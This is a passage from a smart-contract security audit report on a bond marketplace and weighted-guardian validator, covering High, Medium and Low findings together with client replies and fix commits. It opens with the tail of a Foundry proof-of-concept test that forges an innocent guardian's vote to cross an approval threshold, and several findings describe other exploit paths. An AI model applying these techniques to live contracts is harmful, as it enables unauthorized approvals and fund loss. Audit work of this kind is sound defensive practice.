        PackedUserOperation memory userOp = _buildUserOp(1, callData);

        bytes32 callDataAndNonceHash = keccak256(abi.encode(
            userOp.sender, userOp.callData, userOp.nonce
```

```
        ));
        bytes32 approveHash = _approveHash(callDataAndNonceHash);
        // Use a fixed userOpHash independent of the signature field so it stays
        // consistent across both calls.
        bytes32 userOpHash = keccak256(abi.encode("userOpHash", userOp.nonce));

        //  CALL 1: Poison innocent guardian's vote (idx = 1)
        //
        // The attacker submits a single-element signatures array where:
        //   sig[0] = [idx=1][attacker's valid ECDSA sig]
        //
        // The signature is cryptographically valid (so ECDSA.recover does not
        // revert), but it recovers to _attacker's address, not _innocent's —
        // so sigCheck = false.
        //
        // _checkSigVote() credits innocent's weight=8 to proposalStatus.approvals
        // and marks voteStatus[hash][1][account] = Approved BEFORE evaluating sigCheck.
        // Because this is the last (and only) signature, the function returns 1
        // instead of reverting — so the storage writes are NOT rolled back.
        //
        // Key insight: the attacker does not need the innocent's private key.
        // Any valid signature at idx=1 will poison the vote, because the weight
        // is added before the recovered address is compared.
        {
            // Signed by attacker with innocent's guardian index — wrong signer, valid sig
            bytes memory poisonSig = abi.encodePacked(
                uint8(1),                                   // idx = 1  (innocent's slot)
                _signK1(_attackerKey, userOpHash)           // recovers to _attacker  _innocent
            );
            bytes[] memory sigs = new bytes[](1);
            sigs[0] = poisonSig;
            userOp.signature = abi.encode(sigs);

            vm.prank(_account);
            uint256 result = _validator.validateUserOp(userOp, userOpHash);

            assertEq(result, 1, "call 1 fails as expected (invalid sig)");

            // Confirm the innocent's weight was silently credited
            (,, uint24 approvals) = _validator.proposalStatus(callDataAndNonceHash, _account);
            assertEq(
                approvals,
                INNOCENT_WEIGHT,
                "innocent's weight must be poisoned into approvals even though sig was invalid"
            );
        }

        //  CALL 2: Attacker's valid signatures cross the threshold
        //
        // approvals already = 8  (poisoned from call 1)
        // attacker adds       + 3  (weight=3, valid pre-approval signature)
        //
        // total              = 11  >=  threshold 10  →  returns 0  (SUCCESS)
        //
        // The innocent guardian never signed anything.
        {
            bytes[] memory sigs = new bytes[](1);
            sigs[0] = abi.encodePacked(uint8(0), _signK1(_attackerKey, userOpHash));
            userOp.signature = abi.encode(sigs);

            vm.prank(_account);
            uint256 result = _validator.validateUserOp(userOp, userOpHash);

            assertEq(result, 0, "attacker crosses threshold using poisoned innocent vote");

            // Confirm final approval count
            (,, uint24 finalApprovals) = _validator.proposalStatus(callDataAndNonceHash, _account);
            assertEq(finalApprovals, ATTACKER_WEIGHT + INNOCENT_WEIGHT);
        }
    }
}
```

Recommendation(s): Consider also reverting when the last signature is invalid.

Source: Codespect manual audit

Client notification: 2026-05-31 10:49, notified by email (High → within 2 business days per Art. XII.2)

Status: Fixed

Update from CTU team: Implemented in MR !27. Updated `WeightedValidator` to ensure guardian approvals are counted only for valid signatures.

Update from CODESPECT: The issue is fixed in `1bdbf92`.

7.3 Medium

7.3.1 [Medium] Missing lower bound in `_validateInterestActivationWindow` allows interests to be activated before `saleEnd`

Severity: Medium

Section ID: 7.3.1

File(s): `Marketplace.sol/L203-L223`, `Marketplace.sol/L1310-L1317`, `IMarketplace.sol/L339-L346`

Function(s): `Marketplace.activateInterest(...)`, `Marketplace._validateInterestActivationWindow(...)`

Category: Business Logic / Protocol Design

References: CWE-841 (Improper Enforcement of Behavioral Workflow)

Description: The interest-discovery sale mode introduces a post-expiry activation window: a bounded period beginning at `saleEnd` (`currentOffer.expiry`) and ending at `saleEnd + interestDiscoveryPaymentExpiryThreshold`, during which expressed interests may be promoted into deals. The `IMarketplace.sol` NatSpec for `activateInterest(...)` explicitly states: _"Activation is allowed after `saleEnd` until the post-expiry activation window closes."_ The internal validation function `_validateInterestActivationWindow(...)` is responsible for enforcing this constraint. It correctly enforces the upper bound of the window:

```
function _validateInterestActivationWindow(uint256 offerId, uint256 saleEnd) internal view {
    uint256 activationDeadline = _getInterestActivationDeadline(saleEnd);
    // slither-disable-next-line timestamp
    require(
        block.timestamp < activationDeadline + 1,
        Errors.Marketplace__InterestActivationWindowExpired(offerId, activationDeadline, block.timestamp)
    );
}
```

However, no corresponding lower bound (`block.timestamp >= saleEnd`) is enforced anywhere in `activateInterest(...)` or its validation chain. As a result, `activateInterest(...)` can be successfully invoked at any time from the moment an interest is expressed, including while the offer's sale period is still active, provided all other preconditions are met. The window's floor, the defining characteristic that makes it a _post-expiry_ window, is never checked.

Impact: Medium. Premature activation breaks the intended post-expiry sequencing: one investor's interest is converted to a PENDING deal while other investors are still in the expression phase. It also shortens the created deal's `paymentDeadline`, which is anchored to `block.timestamp` at activation rather than to `saleEnd`. No funds can be directly extracted.

Likelihood: Medium. Any investor holding an expressed interest on an active offer can exploit this without privileged access. The only additional gate, `_validateThresholdReached(...)`, is a normal operating state for a live offer.

Recommendation(s): Add a lower bound check inside `_validateInterestActivationWindow(...)` and introduce the corresponding error in the `Errors` library:

```
+   /// @notice Throw an error when interest activation is attempted before the post-expiry activation window opens
+   error Marketplace__InterestActivationWindowNotOpen(
+       uint256 offerId, uint256 saleEnd, uint256 currentTimestamp
+   );


    function _validateInterestActivationWindow(uint256 offerId, uint256 saleEnd) internal view {
+       require(
+           block.timestamp >= saleEnd,
+           Errors.Marketplace__InterestActivationWindowNotOpen(offerId, saleEnd, block.timestamp)
+       );
        uint256 activationDeadline = _getInterestActivationDeadline(saleEnd);
        // slither-disable-next-line timestamp
        require(
            block.timestamp < activationDeadline + 1,
            Errors.Marketplace__InterestActivationWindowExpired(offerId, activationDeadline, block.timestamp)
        );
    }
```

Source: Codespect fuzzing harness

Client notification: Not required for Medium

Status: Fixed

Update from CTU team: I would like to start this discussion with a sincere apology for misleading you through the imprecise NatSpec, which currently states:

> "Activation is allowed after `saleEnd` until the post-expiry activation window closes."

However, the correct wording should be:

> "Activation is allowed once the `minSaleUnits` threshold has been reached until the post-expiry activation window closes."

Assume the following scenario:

- The seller opens an `INTEREST_DISCOVERY` offer for 10,000 bonds on Jan 1.
- Parameters: `minSaleUnits = 5,000`, `saleEnd = Jan 31, 12:00`.
- The activation window is 10 days, so the activation deadline is Feb 10, 12:00.
- On Jan 3, investors have already expressed interest in 6,000 bonds, meaning the interest discovery has been successful.

The current behaviour allows the seller to receive funding earlier (once the minimum threshold has been reached), so both the seller and the investors do not need to wait for the remaining period before the activation phase starts. By implementing the fix, all investors would need to wait until the interest discovery phase ends (Jan 31, 12:00), which is undesirable from our perspective.

We personally believe that the current implementation is more beneficial for all parties involved. However, we agree that the `paymentDeadline` should, in all cases, extend until Feb 10, and **this should be fixed**. Do you agree with our reasoning? Is there anything we might be missing?

Update from CTU team: The agreed fix has been implemented. The `paymentDeadline` is now always anchored to the end of the activation window (e.g., Feb 10 in the discussed scenario), regardless of when the interest is activated.

Update from CODESPECT: The issue is fixed in `1441b89`.

7.3.2 [Medium] BURNER caller lacks the EntityRegistry-enabled check that FORCE_TRANSFER enforces

Severity: Medium

Section ID: 7.3.2

File(s): BondRegistry.sol/L826-L847, BondRegistry.sol/L201-L212, BondRegistry.sol/L217-L243, DEUSSToken.sol/L187-L199, DEUSSToken.sol/L46-L72, DEUSSToken.sol/L505-L507

Function(s): BondRegistry._validateBurnAuthorization(...), BondRegistry.burnBond(...), BondRegistry.burnBondBatch(...), DEUSSToken.forcedTransfer(...), DEUSSToken.batchForcedTransfer(...)

Category: Access Control / Privilege Separation

References: CWE-732 (Incorrect Permission Assignment), CWE-285 (Improper Authorization)

Description: The protocol exposes two compliance-oriented privileged primitives:

- Non-consensual transfers through FORCE_TRANSFER_ROLE
- Non-consensual burns through BURNER;

However, the authorisation models governing these operations are asymmetric. DEUSSToken.forcedTransfer(...) and batchForcedTransfer(...) enforce two independent authorisation layers:

a. The caller must hold FORCE_TRANSFER_ROLE
b. The caller must also be an enabled entity wallet within EntityRegistry;

```
function forcedTransfer(address from, address to, uint256 tokenId, uint256 amount)
    external
    onlyRoles(FORCE_TRANSFER_ROLE)
    returns (bool)
{
    _isCallerWalletEnabled(msg.sender); // second gate: caller must be enabled in EntityRegistry
    ...
}

function _isCallerWalletEnabled(address caller) internal view {
    require(IEntityRegistry(_entityRegistry).isAccountEnabled(caller), Errors.Token__CallerNotEnabled(caller));
}
```

In contrast, the FINAL_SETTLEMENT burn path enforced through BondRegistry._validateBurnAuthorization(...) validates only the BURNER role:

```
// FINAL_SETTLEMENT, msg.sender != bond.issuer
require(hasAnyRole(msg.sender, BURNER), Errors.BondRegistry__UnauthorizedBurnCaller(msg.sender, uint8(kind)));
```

No equivalent EntityRegistry.isAccountEnabled(msg.sender) validation exists for the BURNER execution path. As a result, disabling an entity within EntityRegistry revokes its ability to execute forced transfers, but does not revoke its ability to execute privileged burns if it still retains the BURNER role. The EntityRegistry therefore does not act as a uniform operational kill-switch across all privileged token lifecycle operations. Additionally, _validateBurnAuthorization(...) is invoked inside the per- from iteration loop of burnBondBatch(...). This causes caller-level validations, including:

- hasAnyRole(msg.sender, BURNER),
- Bond status checks,

Impact: Medium. Two privileged lifecycle primitives intended to enforce comparable compliance or administrative actions operate under different revocation semantics. As a result, entity disablement within EntityRegistry only partially neutralises privileged operations, potentially creating operational assumptions that do not hold during incident response or entity offboarding scenarios.

Likelihood: Medium. The issue surfaces whenever an entity is disabled within EntityRegistry without simultaneously revoking the BURNER role via revokeRoles(...). This is realistic during entity rotation, compromise response, staged privilege revocation, or incomplete operational procedures. The issue is primarily operational rather than directly adversarial.

Recommendation(s): Consider extending BondRegistry._validateBurnAuthorization(...) to require that BURNER callers are also enabled entity wallets, mirroring the authorisation model used by DEUSSToken.forcedTransfer(...):

```
        if (msg.sender == bond.issuer) {
            _requireEnabledIssuer(bond.issuer);
            require(from == bond.issuer, Errors.BondRegistry__InvalidBurnSource(from, bond.isin, uint8(kind)));
            return;
        }

+       require(
```

```
+            IEntityRegistry(_entityRegistry).isAccountEnabled(msg.sender),
+            Errors.BondRegistry__UnauthorizedBurnCaller(msg.sender, uint8(kind))
+        );
        require(hasAnyRole(msg.sender, BURNER), Errors.BondRegistry__UnauthorizedBurnCaller(msg.sender, uint8(kind)));
```

Furthermore, consider caller-level validations and bond-status checks outside the `burnBondBatch(...)` iteration loop to avoid redundant authorisation and registry lookups per entry.

Source: Codespect manual audit

Client notification: Not required for Medium

Status: Fixed

Update from CTU team: The fix has been implemented in MR !271. `BURNER`-authorised operations now enforce the same `EntityRegistry`-enabled check as `FORCE_TRANSFER` operations, ensuring consistent revocation semantics across privileged token lifecycle actions. Additionally, the related authorisation validation logic was refactored to avoid redundant checks during batch burn operations.

Update from CODESPECT: The issue is fixed in `6d63fd0`.

7.3.3 [Medium] `resolveCounterOffer(...)` checks buyer liveness but not entity-type allowlist membership on acceptance

Severity: Medium

Section ID: 7.3.3

File(s): `Marketplace.sol/L378-L424`, `Marketplace.sol/L147-L164`, `EntityEligibilityGuard.sol/L53-L87`

Function(s): `Marketplace.resolveCounterOffer(...)`, `EntityEligibilityGuard._validateEntityWalletEnabled(...)`, `EntityEligibilityGuard._validateEntityWalletAndTypeAllowed(...)`

Category: Access Control / Business Logic

References: CWE-284 (Improper Access Control), CWE-358 (Improperly Implemented Security Check for Standard)

Description: The protocol maintains a per-module entity-type allowlist (`_allowedEntityTypes[typeId]`) enforced through two distinct helpers:

- `_validateEntityWalletEnabled(...)`: verifies only that the wallet's account is live in the entity registry (liveness check);
- `_validateEntityWalletAndTypeAllowed(...)`: verifies liveness and that the wallet's entity type is currently in `_allowedEntityTypes` (full eligibility check);

Every buy-side entry point that commits a deal to on-chain state applies the full check to the buyer at the moment of commitment. `acceptOffer(...)` is the canonical reference:

```
_validateEntityWalletAndTypeAllowed(msg.sender);
_validateEntityWalletEnabled(currentOffer.owner);
```

`createCounterOffer(...)` applies the same pattern at the point the counter-offer deal is created:

```
_validateEntityWalletAndTypeAllowed(msg.sender);
_validateEntityWalletEnabled(originalOffer.owner);
```

`resolveCounterOffer(...)` breaks this pattern. When the seller accepts (`accepted == true`), the buyer's eligibility is rechecked using only the liveness helper:

```
if (accepted) {
    _validateEntityWalletEnabled(msg.sender);
    _validateEntityWalletEnabled(currentDeal.buyer);
```

The call to `_validateEntityTypeAllowed(...)` is missing for `currentDeal.buyer`. As a result, if governance removes a buyer's entity type from the allowlist at any point after the counter-offer is submitted and before the seller calls `resolveCounterOffer(...)`, the type restriction is silently bypassed: `_validateEntityWalletEnabled(...)` passes because the buyer's account is still live, and the deal advances to `DealStatus.PENDING` with a buyer whose entity type is no longer permitted on the platform.

Impact: Medium. A buyer whose entity type has been removed from the allowlist completes a trade in violation of the platform's current compliance configuration. No funds are lost, but the breach creates regulatory and operational exposure for the platform operator.

Likelihood: Medium. The bypass triggers transparently whenever a seller accepts a pending counter-offer after the buyer's entity type has been removed from the allowlist, with no adversarial coordination required. All preconditions arise naturally in normal platform operation.

Proof of Concept: Not required for Medium severity.

Recommendation(s): Replace both `_validateEntityWalletEnabled(...)` calls in the accepted branch of `resolveCounterOffer(...)` with `_validateEntityWalletAndTypeAllowed(...)`, mirroring the pattern already used in `acceptOffer(...)` and `createCounterOffer(...)`. No new error types are required.

Source: Codespect manual audit

Client notification: Not required for Medium

Status: Fixed

Update from CTU team: The fix has been implemented in MR !272. `resolveCounterOffer(...)` now performs the same entity-type allowlist validation on the buyer as other buy-side commitment paths (`acceptOffer(...)` and `createCounterOffer(...)`). As a result, a counter-offer can no longer be accepted if the buyer's entity type has been removed from the marketplace allowlist, ensuring consistent enforcement of compliance requirements across all trade flows.

Update from CODESPECT: The issue is fixed in `996fd65`.

7.3.4 [Medium] WeightedValidator ERC-1271 path counts duplicate guardian signatures (no dedup)

Severity: Medium

Section ID: 7.3.4

File(s): `WeightedValidator.sol`

Function(s): `WeightedValidator.isValidSignatureWithSender(...)`, `WeightedValidator._checkSig(...)` (contrast with `WeightedValidator._checkSigVote(...)`, which performs deduplication)

Category: Access Control; Business Logic / Protocol Design

References: CWE-347 (Improper Verification of Cryptographic Signature), OWASP SC01 (Access Control)

Description: `WeightedValidator.isValidSignatureWithSender(...)`, the ERC-1271 validation entrypoint, computes guardian approval weight by iterating through the provided signature array and accumulating approvals returned by `_checkSig(...)`:

```
function isValidSignatureWithSender(address, bytes32 hash, bytes calldata signature)
    external view returns (bytes4)
{
    bytes[] calldata signatures = _parseCalldataArrayBytes(signature);
    uint24 currentApproval;
    bool sigCheck;

    for (uint256 i = 0; i < signatures.length; i++) {
        (sigCheck, currentApproval) = _checkSig(hash, signatures[i], currentApproval);
    }

    return currentApproval >= weightedStorage[msg.sender].threshold
        ? ERC1271_MAGICVALUE
        : ERC1271_INVALID;
}
```

`_checkSig(...)` determines the guardian index from the caller-controlled leading byte:

```
uint8(sig[0])
```

It then verifies the signature and, on success, increments approval weight:

```
currentApproval += strg.weight;
```

However, the function does not track whether a guardian index has already contributed weight during the current validation flow. This differs from `_checkSigVote(...)`, used by `validateUserOp(...)`, which explicitly deduplicates guardian participation through `voteStatus[...][idx]`, ensuring each guardian contributes weight at most once. As a result, the same guardian signature can be submitted repeatedly and each duplicate entry increases `currentApproval`.

Impact: Medium. A single guardian can satisfy any configured multisig threshold independently by repeatedly supplying the same valid signature. Although `isValidSignatureWithSender(...)` is a `view` function, the returned `ERC1271_MAGICVALUE` is consumed by external state-changing integrations, including:

- Permit2 approvals and transfers,
- Signature-gated settlement systems,
- Session-key authorisation flows,
- Off-chain order execution frameworks.

As a result, a single compromised or malicious guardian can authorise operations that should require quorum consensus. Notably, the `validateUserOp(...)` execution path is not affected because `_checkSigVote(...)` properly deduplicates guardian participation. The issue is isolated specifically to the ERC-1271 validation path.

Likelihood: Medium. Exploitation requires control over a single guardian key, which is significantly weaker than the intended multisig security assumption. Practical impact additionally depends on whether downstream integrations rely on ERC-1271 signatures for authorisation. Deployments using ERC-1271 for value-bearing operations are directly exposed, while systems not relying on this validation path have reduced practical exposure.

Recommendation(s): Deduplicate guardians in `isValidSignatureWithSender`: count each guardian index at most once (e.g. require strictly increasing `idx`, or track seen indices), mirroring the `voteStatus` dedup in `_checkSigVote`.

Source: Codespect manual audit

Client notification: Not required for Medium

Status: Fixed

Update from CTU team: Implemented in MR !20. Added guardian signature deduplication to the ERC-1271 validation path in `WeightedValidator`.

Update from CODESPECT: The issue is fixed in `36fc055`.

7.3.5 [Medium] `resolveCounterOffer(...)` accepts seller acceptance after the parent offer has expired

Severity: Medium

Section ID: 7.3.5

File(s): `Marketplace.sol/L378-L424`, `Marketplace.sol/L322-L351`, `Marketplace.sol/L358-L373`, `Marketplace.sol/L1233-L1249`, `IMarketplace.sol/L376-L385`

Function(s): `Marketplace.resolveCounterOffer(...)`, `Marketplace.createCounterOffer(...)`, `Marketplace.cancelCounterOffer(...)`, `Marketplace._validateOfferNotExpired(...)`, `Marketplace._validateCounterOfferNotExpired(...)`

Category: Business Logic / Protocol Design

References: CWE-841 (Improper Enforcement of Behavioral Workflow)

Description: `createCounterOffer(...)` correctly validates that the parent offer has not expired at the point a counter-offer is submitted:

```
_validateOfferNotExpired(originalOffer.expiry);
_validateOfferExpiryThreshold(counterOffer.expiry);
```

The second check enforces only a minimum future duration; it does not cap `counterOffer.expiry` to `originalOffer.expiry`. As a result, buyers routinely set a counter-offer deadline that extends beyond the parent offer's close date, which is both permitted and natural given the absence of any cap. `resolveCounterOffer(...)` does not repeat the parent offer expiry check. Its validation chain is:

```
_validateOfferNotCancelled(currentDeal.offerId);
_validateDealOrOfferNotFrozen(dealId, currentDeal.offerId);
_validateMarketplaceSaleMode(originalOffer, currentDeal.offerId);
_validateDealStatus(currentDeal.status, DealStatus.PROPOSED);
_requireEnabledActor(msg.sender, originalOffer.owner);
_validateCounterOfferNotExpired(currentDeal.counterOfferExpiry);
```

There is no call to `_validateOfferNotExpired(...)`. Once the parent offer's expiry timestamp passes, a seller can observe post-expiry price movement and then selectively call `resolveCounterOffer(...)` to accept any still-live counter-offer, locking the buyer into the price they quoted before the market moved. The seller gains a free option: hold if the market moved against them, accept if it moved in their favour. A buyer who recognises the risk after parent expiry could attempt to cancel via `cancelCounterOffer(...)`. However, `cancelCounterOffer(...)` conditions cancellation on the counter-offer's own expiry:

```
_validateCounterOfferNotExpired(currentDeal.counterOfferExpiry);
```

Once the buyer's counter-offer deadline passes, this escape is also closed. The buyer is permanently committed at a price of the seller's choosing for as long as the counter-offer remains unexpired, with no on-chain recourse.

Impact: Medium. Sellers gain a post-expiry option to accept any pending counter-offer after observing market movement, while buyers have no mechanism to exit once their own counter-offer deadline has also passed.

Likelihood: Medium. The condition arises naturally whenever a seller holds a pending counter-offer at the moment their offer expires. No privileged access or adversarial coordination is required.

Proof of Concept: Not required for Medium severity.

Recommendation(s): Add `_validateOfferNotExpired(originalOffer.expiry)` as the first statement inside the `if (accepted)` branch of `resolveCounterOffer(...)`, before any state mutation. The decline branch should be left unrestricted. No new error types are required; `Marketplace__OfferExpired` already exists.

Source: Codespect manual audit

Client notification: Not required for Medium

Status: Fixed

Update from CTU team: Implemented in MR !274. Added parent offer expiry validation to `resolveCounterOffer(...)` when accepting a counter-offer.

Update from CODESPECT: The issue is fixed in `3aec8e2`.

7.3.6 [Medium] Growing `Config` or `Counters` in a future upgrade shifts every downstream mapping slot and silently corrupts all marketplace state

Severity: Medium

Section ID: 7.3.6

File(s): `MarketplaceStorage.sol/L20-L63`, `MarketplaceStorage.sol/L92-L206`

Function(s): N/A (storage layout)

Category: Upgradeability / Storage Layout

References: CWE-1282 (Improper Handling of Values)

Description: `MarketplaceStorage` uses a sequential storage layout where `_config` and `_counters` are the first two state variables, occupying the lowest slots. The 15 operational mappings follow immediately. `forge inspect Marketplace storage-layout` confirms:

Name	Type	Slot	Offset	Bytes
_config	struct MarketplaceStorage.Config	0	0	192
_counters	struct MarketplaceStorage.Counters	6	0	96
_assetManager	address	9	0	20
_offers	mapping(uint256 => struct Offer)	10	0	32
_allowedBuyersByOfferId	mapping(uint256 => address[])	11	0	32
_isAllowedBuyerByOfferId	mapping(uint256 => mapping(address => bool))	12	0	32
_deals	mapping(uint256 => struct Deal)	13	0	32
_makersOfferIds	mapping(address => uint256[])	14	0	32
_counterOfferCounts	mapping(address => mapping(uint256 => uint256))	15	0	32
_escrowIdByOfferId	mapping(uint256 => uint256)	16	0	32
_allowedCurrencies	mapping(bytes3 => bool)	17	0	32
_interestDiscoveryStateByOfferId	mapping(uint256 => struct InterestDiscoveryState)	18	0	32
_interests	mapping(uint256 => struct Interest)	19	0	32
_interestIdsByOfferId	mapping(uint256 => uint256[])	20	0	32
_offerCancelled	mapping(uint256 => bool)	21	0	32
_offerFrozen	mapping(uint256 => bool)	22	0	32
_dealFrozen	mapping(uint256 => bool)	23	0	32
_reservedInterestSeized	mapping(uint256 => bool)	24	0	32
__gap	uint256[49]	25	0	1568
_bondRegistry	address	74	0	20
_escrowManager	address	75	0	20
_entityRegistry	address	76	0	20
_allowedEntityTypes	mapping(uint256 => bool)	77	0	32

Table 9: `Marketplace` storage layout (`forge inspect Marketplace storage-layout`). All variables reside in `src/marketplace/Marketplace.sol:Marketplace`.

`Config` currently holds 6 fields occupying slots 0–5. Appending any field causes `_counters` to shift from slots 6–8 to slots 7–9, `_assetManager` to shift from slot 9 to slot 10, and all 15 mappings to each shift up by one slot:

```
Before upgrade          →   After adding one field to Config

_offers       slot 10 →   slot 11   (keccak of offerId ++ 10 now returns empty)
_deals        slot 13 →   slot 14   (keccak of dealId  ++ 13 now returns empty)
_escrowIdByOfferId 16 →   slot 17
... (all 15 mappings affected)
```

Every read from the new implementation returns zero. Every write creates orphaned storage at the wrong key. No revert occurs, no compiler warning is emitted, and the upgrade transaction itself succeeds silently. Adding a field to `Counters` produces the same cascade starting from slot 6, shifting `_assetManager` and all 15 mappings. The `__gap[49]` at slots 25–73 addresses a different concern: it gives future versions room to append new top-level variables after `_reservedInterestSeized` without displacing the `DependenciesBase` addresses that follow in the inheritance chain. It provides no protection against struct-growth at the head of the layout. A developer familiar with the gap pattern may incorrectly conclude that the contract is fully upgrade-safe.

Impact: High. If a field is added to `Config` or `Counters` in any future upgrade, all 15 mappings simultaneously point at wrong storage keys. Every offer, deal, interest, escrow association, allowlist entry, and freeze flag becomes unreachable or incorrect. Funds in escrow are permanently inaccessible via normal paths and the entire deal state is inconsistent.

Likelihood: Low. Requires a developer to add a field to `Config` or `Counters` in a future upgrade without being aware of this constraint.

Proof of Concept: Not required for Medium severity.

Recommendation(s): Migrate both structs to ERC-7201 namespaced storage before deployment. ERC-7201 assigns each struct its own hash-derived storage root far outside the sequential slot range, so adding a field to `ConfigStorage` has zero effect on `CountersStorage` or

on any of the 15 mappings. The protection is structural and does not depend on gap sizing or developer discipline. All reads and writes to `_config` and `_counters` throughout the codebase are updated to go through per-namespace pure accessor functions. The OpenZeppelin Upgrades plugin validates namespace storage layout changes automatically between upgrade versions. With ERC-7201 in place, the `__gap[49]` becomes redundant and can be removed.

Source: Codespect manual audit

Client notification: Not required for Medium

Status: Fixed

Update from CODESPECT: The issue is fixed in `489061d`.

Update from CTU team: Implemented in MR !278. Migrated Marketplace configuration and counter storage to ERC-7201 namespaced storage.

7.3.7 [Medium] `cancelBond(...)` permanently bricks an ISIN by leaving stale version pointers

Severity: Medium

Section ID: 7.3.7

File(s): BondRegistry.sol/L89-L99, BondRegistry.sol/L259-L303

Function(s): `BondRegistry.cancelBond(...)`, `BondRegistry.publishBond(...)`

Category: Business Logic / Protocol Design

References: CWE-841 (Improper Enforcement of Behavioral Workflow), CWE-440 (Expected Behavior Violation)

Description: `cancelBond(...)` lets the `CANCEL` role void a bond version that has been published but never issued (`status == Published`, `trancheCount == 0`), which is a normal corrective operation (for example, fixing a typo in a freshly published bond). It sets `bond.status = BondStatus.Cancelled` but leaves the version-tracking pointers `_isinToLatestVersion[isin]` and `_isinToActiveVersion[isin]` untouched.

```
function cancelBond(string calldata isin, uint8 version) external onlyRoles(CANCEL) {
    // ...
    require(bond.status == BondStatus.Published, Errors.BondRegistry__InvalidBondStatus(isinBytes));
    require(bond.trancheCount == 0, Errors.BondRegistry__BondAlreadyIssued(isinBytes));
    bond.status = BondStatus.Cancelled;
    // @audit _isinToLatestVersion / _isinToActiveVersion still point at the cancelled version
    emit BondCancelled(isinBytes, msg.sender);
}
```

When the first (and only) version `v1` of a fresh ISIN is cancelled, `_isinToLatestVersion[isin]` stays at `1` and `_isinToActiveVersion[isin]` stays at `1`, both pointing at a now-`Cancelled` version. A subsequent `publishBond(...)` for the same ISIN reads `latestVersion == 1`, so it enters the successor branch instead of the fresh-ISIN branch, and the successor branch requires the active version to be `Issued`:

```
uint8 activeVersion = _isinToActiveVersion[isinBytes];
require(
    _bonds[isinBytes][activeVersion].status == BondStatus.Issued,
    Errors.BondRegistry__ActiveVersionNotIssuable(isinBytes)
);
```

Because `v1` is `Cancelled` (not `Issued`), this reverts with `BondRegistry__ActiveVersionNotIssuable`. No state-mutating path can move `_isinToActiveVersion` forward (the only writer is `issueBond(...)`'s cutover branch, which itself requires the active version to be `Issued`), so the ISIN can never be republished. This is the same stale-pointer mechanism noted as a side observation in 7.4.4, here reached directly through the standalone `cancelBond(...)` path rather than through `closeIssuance(...)`.

Impact: Medium. A single legitimate `cancelBond(...)` call on a never-issued bond permanently retires the ISIN on-chain. The protocol can no longer publish any bond series under that regulator-issued ISIN code and must obtain and bind a new identifier.

Likelihood: Medium. `cancelBond(...)` on a `Published`, never-issued bond is the intended use of the function, and cancelling the first version of an ISIN is an ordinary administrative action. The only precondition is that the cancelled version is the first/only one, which is exactly the common case when a freshly published bond is corrected. The trigger requires the `CANCEL` role.

Recommendation(s): Roll the version pointers back when a `Published` (never-issued) version is cancelled. A `Published` bond is always the latest version, so `_isinToLatestVersion` can be decremented to free the cancelled version number; if the cancelled version is also the active one (the first, never-issued version), reset the active pointer too so the ISIN returns to a fresh state. Note that clearing only `_isinToActiveVersion` is insufficient: with `_isinToLatestVersion` still at `1`, `publishBond(...)` would take the successor branch and read version `0` (Unregistered) and still revert.

```
 function cancelBond(string calldata isin, uint8 version) external onlyRoles(CANCEL) {
     bytes12 isinBytes = isin._isinToBytes12();
     Bond storage bond = _bonds[isinBytes][version];
     // ...
     bond.status = BondStatus.Cancelled;
+    _isinToLatestVersion[isinBytes] = version - 1;
+    if (_isinToActiveVersion[isinBytes] == version) {
+        _isinToActiveVersion[isinBytes] = version - 1;
+    }

     emit BondCancelled(isinBytes, msg.sender);
 }
```

Source: Codespect manual audit

Client notification: Not required for Medium

Status: Fixed

Update from CTU team: Implemented in MR !281. The ISIN version tracking logic was updated to correctly maintain active and latest version pointers when a published, non-issued bond is cancelled.

Update from CODESPECT: The issue is fixed in `828ea6f`.

7.4 Low

7.4.1 [Low] Bond-denomination currency allowlist drifts from marketplace allowlist

Severity: Low

Section ID: 7.4.1

File(s): BondRegistry.sol/L269-L275, MarketplaceBase.sol/L86-L105

Function(s): setAllowedCurrency(...), addCurrency(...), removeCurrency(...)

Category: Business Logic / Protocol Design

References: CWE-732 (Incorrect Permission Assignment), CWE-440 (Expected Behavior Violation)

Description: The protocol maintains two independent currency allowlists with no on-chain synchronization or validation between them. BondRegistry._allowedCurrencies acts as the bond denomination allowlist. It is managed through BondRegistry.setAllowedCurrency(...) under the CURRENCY role and is consumed by _validateBondInput(...) during bond publication. Separately, MarketplaceStorage._allowedCurrencies acts as the marketplace settlement allowlist. It is managed through MarketplaceBase.addCurrency(...) / removeCurrency(...) under the ADMIN role and is consumed by Marketplace._validatePrice(...) during offer registration. These allowlists:

- Reside in different contracts
- Are controlled by different privileged roles
- Operate on separate storage mappings
- And are never cross-referenced or enforced against one another;

```
// BondRegistry.sol:270
function setAllowedCurrency(string calldata currencyCode, bool allowed)
    external
    onlyRoles(CURRENCY)
{
    bytes3 currencyBytes = currencyCode._currencyToBytes3();
    _allowedCurrencies[currencyBytes] = allowed; // BondRegistry-local mapping
    emit AllowedCurrencyUpdated(currencyBytes, allowed, msg.sender);
}

// MarketplaceBase.sol:86 / :100
function addCurrency(bytes3 currency) public onlyRoles(ADMIN) {
    require(!_allowedCurrencies[currency], Errors.Marketplace__CurrencyAlreadyExists(currency));
    _allowedCurrencies[currency] = true; // Marketplace-local mapping
    emit CurrencyAdded(currency);
}

function removeCurrency(bytes3 currency) public onlyRoles(ADMIN) {
    require(_allowedCurrencies[currency], Errors.Marketplace__CurrencyDoesNotExist(currency));
    delete _allowedCurrencies[currency];
    emit CurrencyRemoved(currency);
}
```

As a result, the two allowlists can diverge indefinitely. For example, if the CURRENCY role removes support for a denomination such as EUR within BondRegistry, no new EUR-denominated bonds can be issued. However, existing EUR bonds may remain fully tradable if the marketplace allowlist still permits EUR settlement. This creates a governance inconsistency where protocol-level currency policy and marketplace-level trading policy can unintentionally drift apart.

Impact: Low. Inconsistent allowlist states can lead to operational confusion and policy enforcement mismatches between bond issuance and marketplace trading flows. While this does not directly compromise funds or protocol integrity, it may result in unintended market behaviour where currencies considered unsupported at the registry level remain actively tradable on the marketplace.

Likelihood: Medium. The issue depends on coordination between two privileged roles (CURRENCY and ADMIN) with no runtime guarantees or synchronization mechanisms enforcing consistency. Divergence can realistically occur during role rotation, governance updates, regulatory actions, or simple operator mistakes. The likelihood is partially mitigated by the fact that exploitation is operational rather than adversarial.

Recommendation(s): Consider removing MarketplaceStorage._allowedCurrencies entirely and modifying Marketplace._validatePrice(...) to query BondRegistry.isCurrencyAllowed(...) directly. This would eliminate the state drift surface and consolidate currency governance under a single authoritative source controlled by the CURRENCY role.

Source: Codespect manual audit

Client notification: Not required for Low

Status: Acknowledged

Update from CTU team: We acknowledge the observation, but we consider the two allowlists intentionally separate and plan to keep the current design. The BondRegistry currency allowlist represents currencies in which new bonds may be denominated/issued. The

